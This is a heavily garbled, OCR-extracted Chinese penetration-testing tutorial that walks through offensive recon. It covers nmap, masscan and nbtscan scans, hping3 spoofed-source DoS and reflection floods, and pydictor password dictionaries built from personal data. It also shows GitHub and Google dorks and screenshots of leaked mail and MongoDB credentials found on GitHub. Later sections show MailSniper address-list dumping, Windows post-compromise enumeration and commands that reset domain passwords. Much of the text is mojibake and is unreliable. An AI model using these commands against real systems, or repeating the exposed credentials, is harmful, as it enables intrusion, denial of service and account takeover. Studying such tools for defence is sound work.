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1. EVLRIA
nmap

‘B M https://nmap.org/
BIRRA L

Mac os: brew install nmap
Centos: yum install nmap
Ubuntu: apt—get install nmap

%% Ffiit: hitps://nmap.org/man/zh/index.html

A#A R

RN R G ESE Y

TCP: -sT

SYN: -sS

ACK: -sA

UDP: -sU

RPC: -sR

ICMP: -sP

Disable Port Scan: -sn

B LHIX S S @R https://blog.csdn.net/iudongdong19/article/details/83506731

P REEES
HI#10000% 0. BIERS. RA

nmap -T4 -A <target>

R BRI

nmap -sV <target>

#IERA

nmap -0 <target>

ot A5

--host-timeout FHLHERF SR HEEILE: 18000
--scan-delay #R3CHJ[HEFE EHEE: 1000

-s <JRMEE> B SCEHEEMLE, T BRI

il

nmap -V -iR 100000 -PO -p 80

BEHLIEFE 100000 FHERM R FIZITWeb k%2 (808 H) o HEBMEH B ERN IR SR E FHRE TIEEFIRFRNH, 7
HARBHRUENK—ANimE, FEAER-POZIEX EHFIR.



host -1 company.com | cut -d -f 4 | nmap -V -iL -

HATDNSX i84& %1, PLRBlcompany.comFIENL, REHPHMEIRAEANmap. LiR4r4 HFGNU/Linux— HERAEFHITX
BRI A AR

Tji H #uhit: https://github .com/robertdavidgraham/masscan
7E:

$ sudo apt-get install git gcc make libpcap—dev

$ git clone https://github. com/ rober tdavidgr aham/ masscan
$ cd masscan

$ make

d:z r sudo ] da yu 3-

port 135/

found=18

4 : sudo masscan --ports 1-10000 192.168.1.4 --adapter-ip 192.168.175.128

-adapter-ip #&5ERKGHIPHIIE
-adapter-port #5ERAKIE O
-adapter-mac #5E KB RVEMACHHE
-router-mac #8%E MK HIMACHE 1L

-exclude IPHuhLIEFER A, Pflkmasscanfd#
-excludefile #8sEIPHhhETE 4 B

-includefile, -il BEEX—/NEHEFIRETHH
-wait fREREZTEZEWERFRE, Rl N1et




1808 19

open
open
open
open
open
open

=T,
opel

fii4: masscan -e eth® -p 1-65535 --rate 1000 192.168.1.4

FEMEIAITRAEOL T, POE AR AL 5 0 Snmaplic &



dayu@kali: ~ 79x48
% whereis nbtscan
/usr/bin/nbtscan fusr/share/man/manl/nbtscan.1l.gz
% nbtscan

nbtscan:

NBTscan version 1.6.
This 1s a free software and 1t comes with absolutely no warranty.
d:YGJ can use, distribute and modify it under terms of GNU GPL 2+.
Usage:
nbtscan [-v] [-d] [-e] [-1] [-t timeout] [-b bandwidth] [-r] [-q] [-s
1 [-m retransmits] (-f filename)|(<scan_range>)
verbose output. Print all names received
from each host
dump packets. Print whole packet contents.
Format output in fetc/hosts format.
Format output in lmhosts format.
Cannot be used with -v, -5 or -h options.
wailt timeout milliseconds for response.

separator

hitps://blog.csdn.net/qq_34801745

dayu@kali: ~ 79x48
$ sudo nbtscan 192.168.175.138
Doing NBT name scan for addresses from 192.168.175.138
Server MAC address

IP address NetBIOS Name

192.168.175.138 WIN-3AFB4NGIN3E <server> <unknown: PO:0c:29:4e:1F:49

% sudo nbtscan -v -s 192.168.175.138

192,
192,
192,
192,
192,
192,

dl9z2.

168.175
168.17
168.175
168.175
168.175
168.175
168.17

.138:
5.138:

WIN-3AFE4NGINIG: 20U
WIN-3AFB4NGIN3G: @AU

.138:
.138:
.138:
.138:

WORKGROUP

WORKGROUP

WORKGROUP
MSEROWSE

100G
1lei
:1du

B1G

.138:

MAC:00:0c:29:4e:1f:49

51

https://blog.csdn.net/qg_3480174

nbtscanF# P AR ILENZ . MAC addrE 5 E...

HHEANCR

nbtscan 192.168.1.1-100

B —ANEE
nbtscan -v -s : 192.168.1.0/24

Pl BB gs R




nbtscan -f <File>

MO S B Y

RERE

-5

% nbtscan -v
WORKGROUP
LAPTOP-IFMFEBBY
LAPTOP-IFMFEBBY
MAC f8:ac:65:0f:

dayu@kali: ~ 79x48
192.168.1.4
paG
20U
aau
d2:b9

$ nbtscan -v -s 192.168.1.4 | awk '{print $1}' unig

https:/iblog.csdn.netiqq_34801745

.168.1.4
.168.1.4 | awk '{print $1}'

nbtscan -v -s ' '

nbtscan -v -s ' ' | unig

hping3 3 ZE MR K8 A=A, % P 28 e 2 24T T ik
(9L SN

PR
-rawip IPEIAIRIC
-icmp ICMPHER
-udp UDPHEZ
-scan N
-listen MWrE=

hping3 --scan 1-30,70-90 -S www.baidu.com

SYNJF X% F ¥l 0
dayu@kali: ~ 79x48
% sudo hping3 --scan 445,135 -5 192.168.1.4
nning 192.168.1.4 (192.168.1.4), port 445,135
to n, use -V to see all the replies

5

d

5Cd

128
128

135 epmap 06399 b4240

445 microsoft-d:

.
All replies received. Done.
Not responding ports:

4

P

Y . PR bb3> b4240

https://blog.csdn.net/qq_34801745

sudo hping3 --scan 445,135 -S 192.168.1.4




AER, HREHREET:S...A, EKSYN/ACK

hping3 -S -a 114.114.114.114 -p 53 114.114.114.114 -c 5

TR K EEHTICMP R RV &7 S Fitraceroutes & B BEEA NG O SR k5T HE 4R % B (DoS attack) . #lan, A
LandAttack 7 Uk H #RrB ki (Land AttackZ K & EIEHNE B N5 Birith it M, H46E B iP5 B oA S %R

DRDDOS

hping3 -udp -a 114.114.114.114 -p 53 114.114.114.114 -c 5

#TFUDPHIDOS

2%

http://@daysecurity.com/articles/hping3_ examples.html - - R VEYH VR R

http://man.linuxde.net/hping3

2. REME B AR

BB TR, TEXN BARKEME BRI, 7o A&
51 4 /R B2 347 3. 2 [
RIEHIRIB S R BERMITBUE B %G BT ZESR 7, BBERRKERS T

L N R IF IS T
EhYN RS Tt

IPVAHLEFF L IPEL
FHRAE T I A I B

WRIERH B IPHubE, FFRCEIE R, ARERFHRAR. AX. KIBEH TEA
F AR pydictor

ZH:

git clone https://github.com/LandGrey/pydictor




A BT g
7. IR FH

python pydictor.py ——sedb

[ O R I

[N A VA I VA AN
1 G G0 By |
[T/ P NP R | VN VO V)
Il —

Social Engineering Dictionary Builder
Build by LandGrey

[ command ]
[+]help desc [+]exit/quit [+]clear/cls
[+1show option [+]set option arguments [+]rm option
[+]11len minlen maxlen [+]head prefix [+]tail suffix
[+]encode type [+]occur L d s [+]types L d s
[+]regex string [+]1level code [+] leet code
[+]output directory [+]run

[ option ]
[+]cname [+]ename [+] sname
[+]birth [+]usedpwd [+]phone
[+]uphone [+]hphone [+]email
[+]postcode [+]Inickname [+]idcard
[+]jobnum [+]otherdate [+]usedchar

pydictor SEDB>>

-4 : python pydictor.py --sedb

RN RS

python pydictor.py --sedb
set cname liwei

set sname lw Lwei

set ename zwell

set birth 19880916

set usedpwd liweil23456. 1liwei@19880916 1w19880916_ 123
set phone 18852006666

set uphone 15500998080

set hphone 76500100 61599000 01061599000

set email 33125500@qq.com

set email 13561207878@163.com

set email weiweili@gmail.com

set email wei@lOwei@hotmail.com

set postcode 663321 962210

set nickname z1ili

set idcard 152726198809160571

set jobnum 20051230 100563

set otherdate 19591004 19621012

set otherdate 19870906 19880208

set usedchar tiger gof gamesthrones 176003 m@n5ter ppdog

HFHNAS WS-
FHEE

python pydictor.py -tool un

ZFRIMHAEGTR

python pydictor.py -tool hybrider heads.txt some_others.txt tails.txt




SZ¥Y: https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md

CVE: https://cve.mitre.org/

Exploit-DB: https://www.exploit-db.com/

CX Security: https://cxsecurity.com/

CNVD: https://www.cnvd.org.cn/

securitytracker: https://www.securitytracker.com/

dayu@kali: fopt 162x48

F| F searchsploit apache 5.3.12# &apachei&if.. . XBHAERT ...

fubuntu
fubuntu

fii4: searchsploit -u

EHiEoHexplE. ..

HE: https://www.baidu.com

A8K: https://www.google.com
WARZ: https://cn.bing.com

exploitdb



fELEO

http://ce.baidu.com/index/getrelatedsites?site address=baidu.com

http://www.webscan.cc/

http://sbd.ximcx.cn/ --7ELRTF 14 2 - 82 06 IE IR
://censys.io/certificates?q=.example.com

://crt.sh/?q=%25.example.com

://github.com/c@nyl/workscripts/tree/master/get-subdomain-from-baidu
://dnsdumpster.com/ --EWDNSIEFR. ME. HHR

://www.threatcrowd.org/searchApi/v2/domain/report/?domain=baidu.com --FfI%5—A>—%F¢

://findsubdomains.com/
://dnslytics.com/search?g=www.baidu.com --DNSlyrics
://pentest-tools.com/information-gathering/find-subdomains-of-domain - -DNST T [ 2 1Kk 5. 3
://viewdns.info/ --EEIR %
://www.ipneighbour.com/#/lookup/114.114.114.114
://securitytrails.com/list/apex_domain/baidu.com
://url.fht.im/

http://api.hackertarget.com/hostsearch/?q=baidu.com

http://www.yunsee.cn/finger.html --= (PREBERD

AN, AT .
HRIH

https://github.com/rshipp/awesome-malware-analysis/blob/master/EE#MFoHrKE4E . md

BERISER A HERE A L

5. Github Hacking

AT ME A AL GitHub i FE R UL T RAGE R, UREERYT K BTE RAH Github 77

Repositories
Topics
Issues and pull requests

for repositories

topics

code

commits

issues and pull requests
users

wikis

in forks

AT LA DA 75 38 2R T B 4 R T 48 R Github
BATLMER>, >=, <, M<@REKRT, RTEHEFT, MFADTERETH—MERE
THENBIMATER

BREE



cats stars:>1000ULH X4 ¥ "cats" Hstar KT 1000/ E

cats topIcs:>=SULEL R T "cats" A B R TETSHERE

cats size:<10000ILEL R "cats" HXfF/NT10KBHI &
cats stars:<=50ULFL KT "cats" Hstar/MFETF5e & E
cats stars:10..*JLELREF "cats" Hstar K T4 T 108 E
cats stars:*..10JLEL KT "cats" Hstar/h T4 T 108

cats stars:10..50ULAdk8 ¥ "cats" Hstar K T10H /TS50 &

R

RE4E 2= /N 384KBHI ST

1R R /> F500,000 0 UMM E, BRI RIE ALZMHE

Kxfilename#® &S, HWRFERLHULARDEE— AN RE., Fln, #Elanguage: JavascriptE, MAXHE: amazing language:Java
script

HRERRZ T LLERREFE— XA B, EXHFHRESEES o BARKUTERFHERZERNN L., ! "= *x 1 2 #
$&+2 | ~< > () {1} ] BHERERBIERS

H 39 % 1

cats pushed:<2012-07-05 #&7E20124E07 H05Huipushftid, Hcats{EAxRET
cats pushed:2016-04-30..2016-07-04 HIX A
cats created:>=2017-04-01 A&k} [A]

BPHRIEH
AND. OR. NOT

HE iz H

cats pushed:<2012-07-05 language:java ##&7E2012407H05HApushfiid, HcatsfEhkes, Hikkjavaits &

in:file HRXMHHEE catsHRG
in:path #RELPEE catsHIRIG
in:path,file MRERZE. XHFEEcatsHRG
path:app/public language:javascript #Z&RKHEF console, HiEE ANjavascript, fEapp/public F KIS

user: USERNAME P 28ER
org: ''ORGNAME HRAHER
repo: USERNAME/REPOSITORY REBEHER

SCAER A

size:>1000 #ZA/NKTF1KBHI ST

BRREH



filename:config.php language:php # & 344 4 config.php, HiEE NphpHIRHG

mail filenam

Repositories
Code
Commits
Issues
Discussions
Packages
Marketplace
Topics

Wikis

Users

Languages
INI
Java Properties
HTML
Java
Gettext Catalog

PHP

D

N
=)

= =
M N 2
X ° ¥

604,163
193,561
33,706
12,160
6,699

3,013

roperties Pull requests Issues Marketplace Explore

Showing 869,929 available code results ®

I.:J noorus123/flutter-springboot-api
email/.properties

#spring

#spring.
#spring.
#spring.
#spring.
#spring.

Java Properties

.mail.

mail.
mail.
mail.
mail.
mail.

host=smtp.gmail.com

port=587
username=bytewheel@gmail.com
password=bytewheel@l23
to=nooruskhan786@gmail. com
properties.mail.smtp.auth=true

Showing the top six matches Last indexed 27 days ago

&De jbdev-tommy/JB-Dev-Facturier

src/main/java/fr/jbdev/facturier/messages/properties.properties

MailSenderServiceImpl.mail.host=mail.gandi.net
MailSenderServiceImpl.mail.password=@Bonjour777
MailSenderServiceImpl.mail.port=587
MailSenderServiceImpl.mail.subject=JB-Dev Facturier

INI  Showing the top nine matches Last indexed on 2 Jul 2018

l#. arunpjohny/zyb-bulk-mailer
@ dist/runner/properties.properties

ar
un
pjo
hn
y

mailer.
mailer.
mailer.
mailer.
mailer.

host=smtp.gmail.com

port=587
username=arun.official.mail@gmail.com
password=

from=arun.p@areytip.com

Sort: Best match v



& Javalil H fic B X4 mail filename:.properties

mail filename:.properties Pullrequests Issues Marketplace Explore

Repositories Showing 869,929 available code results ® S EIRmE NS
Code 873K+
L:J noorus123/flutter-springboot-api

Eammis email/.properties
|ssues #spring.mail.host=smtp.gmail.com

#spring.mail.port=587
Discussions #spring.mail.username=bytewheel@gmail.com

#spring.mail.password=bytewheel@123
Packages #spring.mail.to=nooruskhan786@gmail.com

#spring.mail.properties.mail.smtp.auth=true

Marketplace Java Properties  Showing the top six matches Last indexed 27 days ago

=
M N z
Jd 0o :

Topics
Wikis 2-De jbdev-tommy/JB-Dev-Facturier
src/main/java/fr/jbdev/facturier/messages/properties.properties
Users MailSenderServiceImpl.mail.host=mail.gandi.net
MailSenderServiceImpl.mail.password=@Bonjour777
MailSenderServiceImpl.mail.port=587
Languages MailSenderServiceImpl.mail.subject=JB-Dev Facturier
INI 604,163 INI Showing the top nine matches Last indexed on 2 Jul 2018
tnuia Dranartine 109 EE1

# & extension:yaml mongolab.com H £ 7E RS {5 B &

extension:yaml mongolab.com Pull requests Issues Marketplace Explore

Repositories @ 56 code results Sort: Best match v
Code @
) phoffer/sinatra-base
Commits 287 models/mongoid.yaml
default:
Issues @ hosts:
Discussions @ 0 # - mongolab. com:31777
T # Define the default database name.
Packages o # database: db_name
Marketplace 0 urii <%= ENV['MONGOLAB_URI'] %>
development:
Topics 0 sessions:
default:
Wikis 278 uri: <%= ENV['MONGOLAB_URI'] %>
@ YAML Showing the top four matches Last indexed on 28 Jun 2018
Users 0
Languages l». andrewkuzmych/clubbook
@ web/clubbook/config/config.yaml
YAML 56 an default:
dr db:
ew connection: "mongodb://root:root@ds@33841.mongolab.com:33841/clubbook_test"
Advanced search  Cheat sheet ku #connection: "mongodb://root:root@ds@35300.mongolab.com:35300/clubbook_prod"
zm use_analitics: "false"

ye @ YAML  Showing the top four matches Last indexed on 15 Jul 2018
h

l». pblin/soshio
@ celery-acquisition/config/config.yaml
nh

B3t TR

thub.com/unkl4b




UIINL4U

Automatic search for Github

-> github.com/UnkL4b
-> unkl4b.github.io

[WARNING]
DEVELOPERS ASSUME NO LIABILITY AND ARE NOT
RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY
THIS PROGRAM

[-h] [-q 'filename:shadow path:etc']
[-m wordpress] [-o result.txtl]
[-r '/7™\s*.%?7;?\s*x$/gm"]
[-c _octo=GH1.1.2098292984896.153133829439; _ga=GAl.2.36424941.153192375318; user_session=0ZD
optional arguments:
-h, —--help show this help message and exit
-q 'filename:shadow path:etc', --query 'filename:shadow path:etc'
Specify search term
-m wordpress, —-module wordpress
Specify the search module
-0 result.txt, —-—output result.txt
Specify the output file where it will be
saved
-r "/M\sk(.x?);?\sx$/gm', —-regex '/™\skx(.x7);?\s*x$/gm'
Set regex to search in file
—-C _octo=GH1.1.2098292984896.153133829439; _ga=GA1l.2.36424941.153192375318; user_session=0ZIxL2_aje
Specify the cookie for your github

EXAMPLE

Searching for wordpress configuration files with passwords:

$:> python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP_HOST in:file ' -m wordpress -c

examplef FEIR], JEELFH

https://github.com/techgaun/github-dorks #40/+%github hacking #ZEFIFMARLLL L FEE! !

6. google hacking



GO gle intitle: "index of /"

intitle index of / mp3

intitle index of / admin

intitle index of uri the surgical strike
intitle index of mkv kabir singh
intitle index of matrix

intitle index of ./ ./bitcoin

intitle index of cumbias mp3

intitle index of musica variada mp3
intitle index of mp3

intitle index of kabir singh

AR
aEHE
S KA

EAREE

18 5E M ok
BEHEAurl
AL E T e R 1 I
B8 U KIS AR A
BRI HT




EN

HEZEBWESEENRE
Go g|e inurl:/admin intext: FAEEASR X $ Q
Q=2 LEF BHE D QwA ED #E IB

HEIL0 97 4R (BT 0.28 )

www.xzbbc.com » admin » login
RMEREEEERS
MNEREAEERS. APER.

www.linmon.cn > admin
g REEEERG
MNEREEEERL. BREEN - KICEB. KTkl BARZE: BIESE.

www.onpowbutton.com » admin
EeEBALR
EIEWRS: | BINEE:

www.yuchenweigh.com » admin » admin_login ~

-MitE e EEARS
RUEEE>>. AFE: . @0 . RiFG: B8 SEk—K.

www.jshgjt.com » ow-admin » login «

BEEREM- EREEARS
EELEM. lSusername. EfE&i8password. JiEMEverify code. IZE1E R Login. 'SICEE?

www.bayims.cn > admin ~
Bht- FREEAS

EERG. AP A, Bi8.
TRDFIE:  intext | MAIEIS:  intext:

fr4: inurl:/admin intext: BE&ESHES

site:"some-keywords.com"intitle: login intext: intext: B |56 | &k | H 4 | Z | KL | R4 | S| manage|admin|log

in|system

BREGREHEBRIIR
GO gle intext: index of / | ../ | Parent Directory X !; Q
Q=B LESF B N OBy PEE B#E IR

¥ EFIH) 1,070,000 4R (FET 0.48 )

cdaweb.gsfc.nasa.gov > pub v EFIFILTT

Index of /pub - CDAWeb

Parent Directory, -. 000_readme.htm, 2019-11-08 11:48, 7.5K. 000_readme.ixt, 2019-07-17
19:12, 3.7K. catalogs/, 2020-09-16 06:25, -. data/, 2020-07-24 07:55 ...

spdf.gsfc.nasa.gov > pub ~ EIEIETT

Index of /pub - NASA SPDF
Name - Last modified - Size - Parent Directory, -. 000_readme.htm, 2019-11-08 11:48, 7.5K.

AAA L - 4l AAAA AT AT AALAA AT/ s i_ ool AAANA AN 4~ AR



VUU_reaame.ixt, £U1y-U/-117 19.14, 3./ N, catalogs/, £ULU-Uy-10 Vo: ...

www.nhlbi.nih.gov > files v EHiELETR

Index of ffiles

Index of ffiles. [ICO], Name - Last modified - Size - Description. [PARENTDIR], Parent Directory,
-. [DIR], audio/, 2014-04-10 00:21, -. [DIR], docs/, 2019-07-01 14: ...

www.exploit-db.com > ghdb ~ EIZEIETT

(intext:"index of /.git") ("parent directory") - Exploit Database

201653 H22H - This dork will find git repository's which may have sensitive information.
(intext:"index of /.git") ("parent directory") Enjoy! necrodamus.

Index of /pub|

Name Last modified Size

|Parent Directory ] -
000 readme.htm 2019-11-08 11:48 7.5K
000 readme.txt 2019-07-17 19:12 3.7K
catalogs/ 2020-09-16 21:01 -
data/ 2020-07-24 07:55 -
datasets.json 2018-10-05 15:25 2.5K
documents/ 2019-11-1214:39 -
misc/ 2016-07-07 16:04 -
models/ 2018-01-26 08:56 -
pre_generated plots/ 2018-03-19 13:26 -
software/ 2020-06-10 21:54 -

AIE BIFEAE H P RIR 2 url
4 : intext: index of / | ../ | Parent Directory

site:"some-keywords.com" intext: index of / | ../ | Parent Directory

7. Git-all-secret

et



A PAE N B 2 IE M FRIE 3, 7E docker runif {5 F -V

(pwd)/ rules. json; /root/truffieHog/rules. json. BT BA{$ A BRIA IE W) R5E 2K, i SR 7% 22, B ] LA A truffleHog 3 B i m )l = 7F e . AT LAE
idrepo- supervisor T. B # & sHljson K =B ZR/FF . AL ZRAFHIGist KEH T AMBEXAThEE. FH LA LIRE 5 HE

3 git-all-secrets. X #iA#iM Github orgs/ users/repos/ gists. K% ¥ T B R 840 gtal- secrets 7] A — k3 £
N
.

i BfEdocker i B T &8, Wk 74, UEHBIEE!

8. mailsniper.ps13k i outlookFT & Bk & A
M

ERI P A HEHE K S %S, I B AT BLE Foutlook
outlooktuhik AT LR B 75 I AT LA B in B CHERK, HFERM

H
R ERE RN ARKRN, TEELBHBOLESE
A

¥ 243 Outlook Web Access (OWA) FlExchange WebflR% (EWS) 75, Mhidr4 7l AT MExchange it & B F B 1451 3% -

Get-GlobalAddressList -ExchHostname "outlookiilt” -UserName “i4 /34> -Password “Zf%” -OutFile global-addre

ss-list.txt

L3 O 2 HiroutlookZE H O R &8

1 A {3 P Kion ) SR 3R 355 45481
fEmailsniper. ps1# /g — 47 0 BLF A, 7] LLd i 4% 2 1 7% 2

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global

-address-list.txt

A BAME B K S F 85 % 5 3% B Arfoutlook, FMZhE TG SHERAF BLAVEC R ANERIREU TR, Ida i (RAF 215014 B

#in HoutlookEOffice 365 1B #H 2 — £, IEExchHostname?s [Aloutlook.office365.comBI ], usernamef i 52 B KR FE RN E =2
F P 44 By

Get-GlobalAddressList -ExchHostname outlook.office365.com -Username Fi/&Z@HR%E.....

SEER

https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/

https://www.cnblogs.com/backlion/p/6812690.html

T Huhk

https://github.com/dafthack/mailsniper

9. IMBEZEBWE
Windows ( T{E# Rl )



K& 2 H0 shellSUR

whoami /user & whoami /priv

ers\yu! B>whoami /user

S—1-5-21-2096972008-225106222-4250100324-1000

>whoami /priv

\PTlﬁPZouPPil\ll;ﬂp E@ﬂiﬁff:

C:\Users\yu"

https://blog.csdn.net/q

BERGHER




C:\Users\vujun>systeminfo

0S HiikT:

0S fL&:

05 FIEE KT
EMEITE A
FEMHRZH 21
b= 1D:
175 % H 1)
B V=R EIE
RS
RGN
R
AT

BI0S filzZs:
Windows Ha¢:
E%?ﬁﬁﬂfﬁz

JE B
%5?E[:fﬁﬁiﬁi'
%J)\d?[:fﬁﬁ%zi

fqilVHZ?
FEFUNTE:
FEFUA A7
DU SO A
1
Lo e
EHNEF

Al

Hyper—V 2Kk :

E%ﬁ(ﬁi:
{E

TCEE
Microsoft Windows 10 ZXEERR
10.0. 18362 #Hl Build 18362
Microsoft Corporation
JhAr T AFuk
Multiprocessor Free

[

00326-30000-00001-AA767
2020/9/11, 15:33:39
2020/9/17, 13:27:37
Parallels Software International Inc.
Parallels Virtual Platform
x64-based PC
ZHT 1 MbHEs.
[01]: Intel64 Family 6 Model 158 Stepping 13 Genuinelntel ~2400 Mhz
Parallels Software International Inc. 15.1.4 (47270), 2020/4/13
C:\WINDOWS
C:\WINDOWS\system32
\Device\HarddiskVolume2
zh—cn; 13 (F[H)
en-us; #ig (EH)
(UTC+08:00) /K
4,073 MB
1, 567 MB
5,481 MB
2,825 MB
2,656 MB
C:\pagefile. sys
WORKGROUP
\\7CEE
LT 5 MEAEIT
[01]: KB4576484
[02]: KB4497727
[03]: KB4561600
[04]: KB4576751
[05]: KB4497464
ZHET 2 4 NIC.
[01] Sangfor SSL VPN CS Support System VNIC
A LUK 2
RE: A B O
[02]: Intel(R) 82574L Gigabit Network Connection
EEEA DL Y
JGF DHCP: 2
DHCP fR4-%%: 10.211.55.1
1P Hihit
[01]:
[02]:

FE R

10.211.55. 3
fe80::5001:dal9:c6d8:a9%9ab
[03]: fdb2:2c26:f4e4:0:a596:ed3a:66bb:b31f
[04]: fdb2:2c26:f4e4:0:5001:dal9:c6d8:a9a6
A 2 ERALEERER . BARR Hyper-V Bl FIThAE

https://blog.csdn.net/qq_34801745

WS B ENA->DEAG

Tep/udp M4 EBERERE B




A LAIRE A P IP 43 A IRZS- Rk %5 (redis)

C:\Users\yujun>netstat —ano
EFNIpURES

il A< Hhhdk A bk TR PID

TCP LISTENING
TCP L.ISTENING
TCP L.ISTENING
TCP LISTENING
TCP LISTENING
TCP LISTENING
TCP LISTENING
TCP LISTENING
TCP L.ISTENING
TCP L.ISTENING
TCP LISTENING
TCP LISTENING
TCP . 0. LISTENING
TCP 2.139. 250. 253:443 ESTABLISHED
TCP . 54.24. 69:443 TIME_WAIT
TCP .210. 21. 109:80 TIME_WAIT
TCP .210. 21. 45:80 TIME_WATT
TCP 2.123.113. 145:80 TIME WATIT
TCP 20. 54. 24. 79:443 TIME WAIT
TCP 112. 240. 59. 29:80 TIME WAIT
TCP 119. 188. 13. 108:80 TIME _WAIT
TCP 117.91. 184. 166:80 TIME_WAIT
TCP 60. 210. 23. 249:80 TIME_WAIT

D Q 0N Q NE - Q | J |

o - a o I

. .

SCoOo0O00000OS
COOOCoOOOOOO
CO0OO000000OS
SO oo oo oo oo o

S

OO0 000000000

S R

[en N an i e e R B e B e R s i e B e T an i an R a»)

cCoocococcocoocooo

WWWLWWWwwwWwwww
C OO DO OO OoO o

https://blog.gsdn.net/aq_34801745

HEENEA

hostname

HEELWRIERSR

wmic OS get Caption,CSDVersion,OSArchitecture,Version

ver

C:\Eééré\?ul >wmic OS get Caption, CSDVersion, OSArchitecture, Version
Caption CSDVersion OSArchitecture Version
Microsoft Windows 10 ZHJEERK 64 fif 10. 0. 18362

C:\Users\yu. ®m>ver

Microsoft Windows [fAxA4s 10.0. 18362. 30]

hitps://blog.csdn.net/qq_34801745

HRK

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List




7 pm>WMIC/Node:localhost /Names . curityC -2 Path AntiVirusProduct Get displayName /Format:List

displayNar 04T+

displayName=Windows Defender

BELHZENERF

Version

e For CoreCon
re Ma ed Apps Libs

0.0
. . 21005
ditional Runti . 21005
4-bit)

BEREELHAP

quser windwos7#r4

net config workstation



II*—JE'JLIE—J E= a0 |21

2828-9-11 11: 41

C:\Users\yt >query
"query’ AZAEESMBAS, WARTETHIRRF
Bt A BE A

C:\Users\yuw B>

C:\Users\yvuy m>

C:\Users\yu 0o

C:\Users\yu! E>query user

query’  AENFESHANE AT, WA A1 AR
it A B SO

C:\Users\yw l

C:\Users\yu/ ®M>net config workstation
THEHLA \\7CEE
HEALE A 7CEE
ﬁﬁ)t' % - m

T EIEAT T |
NetBT Tcpip_ {BF722608-6CB5-41BA-B184-BFEOEDEDFD55}) (001C42492BDA)

AR A Windows 10 Home

T Af 4 WORKGROUP
FE ST TCEE

COM TR (F) 0
COM RIETHEL (F77) 16
COM A isHEm (=Fb) 250

C:\Users\vlj '@’ m

hitps://blog.csdn.net/og_34801745
BEMKEE
ipconfig /all




Jsers\yu mr

Windows IP ACHE

EHLE ...

¥+ DNS J5% .

+“ E?‘Lﬂ?u .

IP E%HHE, Moo
HNSREEF%..
DNS fERHERI|E

PIUKMIERLES UK
%ﬁm%D%rﬁﬂ.

R, ..
YEE AL, ..
DHCP CLEH . .
Haid & O 8 .
IPv6 Hihl . . .
WEHE IPve Huhlk., . .
AR TPve Mk
IPv4 bl . . . .
TRERN ..
SR 24 f R 7]
ﬁ%ﬁ%mﬁ@
2RIARE. ..
DHCP Hk%2s .
DHCPv6 IAID . . . .
DHCPv6 % /%% DUID
DNS AR%54s . .
TCPIP E[fJ NetBIOS

AKPIERC 2 PARR 2:

BRI

k. .o
Py
DHCP CUH A . .
HEhECE 25 A,

ifﬁﬁma@'ms m;,% .

. YRS
=

; localdomain

: localdomain

: Intel (R) 82574L Gigabit Network Connection
¢ 00-1C-42-49-2B-DA

L

=]

CE

: £fdb2:2¢26:f4e4:0:5001:dal9:c6d8:a9a6 (Hi%k)
. Tdb2:2¢26:f4e4:0:a596:ed3a:66bb:b31f (H L
: Te80::5001:dal9:c6d8:a9a6%8 (Hik)

: 10.211.55. 3(Hi%)

1 25h. 25h. 255. 0

. 20204E9H 17H 15:03:46

. 20204E9H 17H 15:33:45

: 10.211.55.1

: 10.211.55.1

: 50338882

: 00-01-00-01-26-A8-9D-BF-00-1C-42-49-2B-DA
¢ 10.211.55.1

: O H

)

D ARG

; Sangfor SSL VPN CS Support System VNIC
: QQ*FF*IC*9D*2B*55

£
CE

https://blog.csdn.netiqq_34801745

A Primary Dns Suffilt 5 B 238 P 25 19 U 2 BT AL 8s Bz AE TAEA
BEREHRE




BC: \Users\yu™ ®tasklist /v

A% 44 FR PN L S SREXCIE
| CPU B[R] & H A%

BSystem Idle Process 0 Services Unknown
2:26:54 Bk

System 4 Services Unknown
0:01:25 ik

Registry 88 Services Unknown
' 0:00:00 E&Ek

Smss. exe 340 Services : Unknown
:00:00 ik

CSTSS. exe 464 Services Unknown
:00:02 EHh

CST'SS. exe h48 Console Running
:00:05 FHR

wininit. exe bbb Services Unknown
:00:00 ik

winlogon. exe 636 Console Unknown
:00:00 EHk

services. exe 680 Services K Unknown

105

lsass. exe 696 Services K Unknown
. y https:/blog.csdn.net/qg_34801745

L AR T AR A P B B->i i 8 5 AR R 5 B> 1 BUS A P AR E
BE 4008

C:\Users\yw mrnet config workstation
THEHLA \\7CEE
TEILE A 7CEE
iRk .

T AR EE 7T |
NetBT Tepip {BF722608-6CB5-41BA-B184-BFEOEDEDFD55} (001C42492BDA)

- EGITEN Windows 10 Home

- BRI WORKGROUP
L] 7CEE

COM 4TFFEEET (b)) 0

COM AETHEL (F75) 16
BCOM FOXiEER (ZA)) 250
B i 2 N 56 i o

https:/blog.csdn.net/qq_34801745

i LT 8 i




C:\Users\vu" “>cmdkey /1

2THTRAT R -

H#r: MicrosoftAccount:target=SS0O POP Device
Y. Il
FH P : 02kiejaobcde

H 5 Hlu(ouaL1\p target=virtualapp/didlogical
KA. M
A Eﬂ lx_f

F@fhz 19kipiaobcde
A A5 FF 2L ]

hitps://blog.csdn.net/gg_.

A] AE R AL T SR -> 48 H 258
BEAN LKA KPP 5IR
e use

C:\Users\yu, net user

\\7CEE HH J iy

Administrator Defaul tAccount Guest
ﬂD%(’riliT\ ccount yu

BEE XA P xxxi1E B

net user Xxxx




sers\yu' >net user yu
yu

BV RE

7/ Hi XA 086 (1)
= Yes

MAS

2020/ 7/ 21 21:07:39
MAS

2020/ 7/ 21 21:07:39
No
Yes

=& B - Hp 3
Tﬂ}é‘ﬂﬁ}ﬁﬂ\*ﬂ}ﬁ

=
b2
W

.vl.

All

A @%EE%

mm
B

MRS MR
=Sy’
=
Itz 3>
<
=

';%l-l-l

_tLAE§,< 2020/ 9/ 14 9:13:29
Al SRR B SR /N AL All

7 b 2H fie 7 *Administrators *Performance Log Users

*Users
4= R R *None
2 I 58 Ao

BEAVA P x5 8

net user /domain ERFTES I 4
net user AP /domain  FRECGEANHH P HFAREE
net user /domain xxx 12345678 1EHUSAFEN, FEBREH RE

nltest /domain_trusts /all trusts /v /server: 192.168.xX.XX R BIFTE SRR
nltest /dsgetdc:hack /server:192.168.xx.xx IR [5] 3553 0 FL AR B PR TP b

net user /do SREUEH 2 513%

het group "domain admins" /domain IREUEE B R 51 R

